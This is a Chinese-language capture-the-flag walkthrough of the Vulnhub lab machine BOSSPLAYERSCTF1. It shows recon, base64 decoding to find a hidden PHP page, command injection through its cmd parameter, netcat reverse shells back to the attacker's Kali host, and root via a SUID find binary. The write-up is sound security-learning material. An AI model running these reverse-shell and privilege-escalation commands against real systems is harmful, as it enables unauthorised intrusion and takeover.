Vulnhub靶机下载网址:
靶机安装在VMware上之后一直探测不到IP,这个靶机在virtualbxo中打开体验更佳
在VMware中打开需要修改网卡配置文件,网卡配置文件中网卡名称和虚拟机网卡名字不一致所以一直获取不到IP。
修改方法:将网卡配置文件中网卡名称改为ens33后重启靶机即可成功获取IP
具体操作可以参考:vulnhub靶机检测不到IP地址解决办法_练靶机的时候靶机没ip怎么办-CSDN博客
信息收集
NAT模式下
靶机IP是 10.4.7.132
kaliIP是 10.4.7.130
桥接模式下
靶机IP是 10.9.23.107
kaliIP是 10.9.23.16
第一次打使用nmap扫描到靶机IP,然后进行敏感目录勘测
第二次将靶机设置为桥接模式了,使用了 arp-scan -l 进行扫描,然后通过靶机的MAC地址来快速确定靶机的IP
确定IP后进行详细扫描发现靶机开放了80端口和22端口
思路:老规矩 先从80端口入手,访问一下80端口界面,然后查看网页源代码有无有用信息,然后进行敏感目录扫描/目录勘测等手段
目录勘测
进行敏感目录扫描发现了http://10.4.7.132/robots.txt
bG9sIHRyeSBoYXJkZXIgYnJvCg==
base64解码一下
得到了“哈哈再努力一点兄弟”
没有用,继续寻找有用信息
网页查看
网页源代码信息
WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK
三次base64解码出现了workinginprogress.php(讲真的这个三次解码不看一下教程我是想不到的)
尝试访问一下
发现了一个好像有用的地方
这个页面可能存在命令执行漏洞
使用wfuzz进行模糊测试时发现所有字典返回值都一样,猜到可能是没有进行过滤
动手试一下 试一下常见的cmd 成功了 这个靶机还是非常简单的
既然可以执行命令,那么想法就有了
既然存在命令执行漏洞 那么看看有没有nc可以进行反弹来获取shell
查看靶机有无nc http://10.4.7.132/workinginprogress.php?cmd=ls%20/usr/bin|grep%20nc
进行反弹获取shell
着开启本机kali 开启监听端口6666 执行:10.4.7.132/workinginprogress.php?cmd=nc 10.4.7.130 6666 /bin/bash
进行分享时发现上面那个反弹失败了 使用下面这个成功了
10.9.23.107/workinginprogress.php?cmd=nc -e /bin/bash 10.9.23.16 8888
反弹shell反弹成功后
使用python开启交互:python -c "import pty;pty.spawn('/bin/bash')"
SUID提权
在Linux中 获取shell后首选的是查看能不能进行sudo、suid等提权
使用sudo -l 查看有没有sudo权限发现没有
然后查看能不能进行suid提权
使用命令:find / -perm -u=s -type f 2>/dev/null 查找具有suid权限的文件,发现可以通过find提权,获得权限
使用命令 find . -exec /bin/bash -p \;
-p : 让 euid 为0 , 权限为root 权限
默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。
拿到root权限
开始找flag,发现了一个base64编码的内容
解码一下获取了congratulations 祝福
总结:
获取到80端口页面源代码的base64编码之后,根本想不到需要解码三次,需要看教程
解码三次后获取到的界面存在命令执行漏洞也是想不到,只有ping测试给我一种可以下手的感觉,不看教程还是找不到执行点
find提权的使用的时候需要查资料,但是基本语法和提权原理因为老师讲过还算是了解
总体来说,还是缺点很多的,在渗透这一方面还有很远的路要走,革命尚未成功啊!
参考教程:
看完这篇 教你玩转渗透测试靶机vulnhub——BOSSPLAYERSCTF1-阿里云开发者社区
find提权